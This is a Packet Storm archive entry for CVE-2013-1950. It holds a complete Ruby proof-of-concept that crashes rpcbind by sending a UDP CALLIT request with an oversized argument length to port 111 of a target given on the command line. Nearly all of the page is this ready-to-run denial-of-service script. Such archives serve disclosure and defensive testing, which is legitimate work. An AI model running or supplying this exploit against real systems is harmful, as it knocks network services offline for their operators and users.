Lucene search

K
packetstormSean VerityPACKETSTORM:122431
HistoryJul 17, 2013 - 12:00 a.m.

rpcbind CALLIT UDP Crash

2013-07-1700:00:00
Sean Verity
packetstormsecurity.com
22

0.171 Low

EPSS

Percentile

96.1%

`#!/usr/bin/ruby  
#  
# rpcbind_udp_crash_poc.rb  
# 07/15/2013  
# Sean Verity <veritysr1980 [at] gmail.com>  
# CVE 2013-1950  
#  
# rpcbind (CALLIT Procedure) UDP Crash PoC  
# Affected Software Package: rpcbind-0.2.0-19  
#  
# Tested on:  
# Fedora 17 (3.9.8-100.fc17.x86_64 #1 SMP)  
# CentOS 6.3 Final (2.6.32-279.22.1.el6.x86_64 #1 SMP)  
#  
# rpcbind can be crashed by setting the argument length  
# value > 8944 in an RPC CALLIT procedure request over UDP.  
#  
  
require 'socket'  
  
def usage  
abort "\nusage: ./rpcbind_udp_crash_poc.rb <target>\n\n"  
end  
  
if ARGV.length == 1  
pkt = [rand(2**32)].pack('N') # XID  
pkt << [0].pack('N') # Message Type: CALL (0)  
pkt << [2].pack('N') # RPC Version: 2  
pkt << [100000].pack('N') # Program: Portmap (100000)  
pkt << [2].pack('N') # Program Version: 2  
pkt << [5].pack('N') # Procedure: CALLIT (5)  
pkt << [0].pack('N') # Credentials Flavor: AUTH_NULL (0)  
pkt << [0].pack('N') # Length: 0  
pkt << [0].pack('N') # Credentials Verifier: AUTH_NULL (0)  
pkt << [0].pack('N') # Length: 0  
pkt << [0].pack('N') # Program: Unknown (0)  
pkt << [1].pack('N') # Version: 1  
pkt << [1].pack('N') # Procedure: 1  
pkt << [8945].pack('N') # Argument Length  
pkt << "crash" # Arguments  
  
s = UDPSocket.new  
s.send(pkt, 0, ARGV[0], 111)  
else  
usage  
end  
  
`